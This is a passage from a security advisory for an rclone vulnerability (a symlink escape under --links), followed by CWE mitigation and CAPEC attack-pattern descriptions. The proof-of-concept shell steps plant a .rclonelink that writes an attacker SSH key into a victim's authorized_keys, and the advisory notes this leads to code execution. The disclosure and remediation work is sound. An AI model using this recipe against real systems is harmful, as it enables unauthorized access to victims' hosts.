(two objects) and a victim layout:\n```\nmkdir -p evil/pwn dest victimhome/.ssh\nprintf \u0027%s\u0027 \"$PWD/victimhome/.ssh\" \u003e evil/pwn.rclonelink              # body = abs path OUTSIDE dest\nprintf \u0027ssh-ed25519 AAAA_ATTACKER_KEY pwned\\n\u0027 \u003e evil/pwn/authorized_keys\nls -l victimhome/.ssh                                                 # empty (before)\n```\n3) Serve the malicious remote (models any untrusted remote \u2014 bucket / WebDAV / HTTP share):\n```\ncd evil \u0026\u0026 python3 -m http.server 38080 --bind 127.0.0.1\n```\n4) VICTIM ACTION \u2014 back up the untrusted remote preserving symlinks:\n```\n./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v\n```\n5) Observe \u2014 a file landed OUTSIDE `./dest`:\n```\nls -l dest/pwn                       # dest/pwn -\u003e .../victimhome/.ssh   (symlink escapes dest)\ncat victimhome/.ssh/authorized_keys  # ssh-ed25519 AAAA_ATTACKER_KEY pwned   \u003c-- written outside dest\n```\n`pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab \u2192 code execution.\n\n### Impact\nAn attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim\u0027s host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).\n\n### Remediation\nIn `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.",
  "id": "GHSA-cf44-9pgv-m4xc",
  "modified": "2026-08-05T20:15:01Z",
  "published": "2026-08-05T20:15:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-cf44-9pgv-m4xc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/1154afebee986180b489084d38e2a0c578751498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/874a804f5289517defdd7de68b2a374837080265"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: Unvalidated symlink target in local `--links` \u2014 arbitrary file write from an untrusted remote"
}
Mitigation MIT-48.1
Architecture and Design

Strategy: Separation of Privilege

  • Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack

An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

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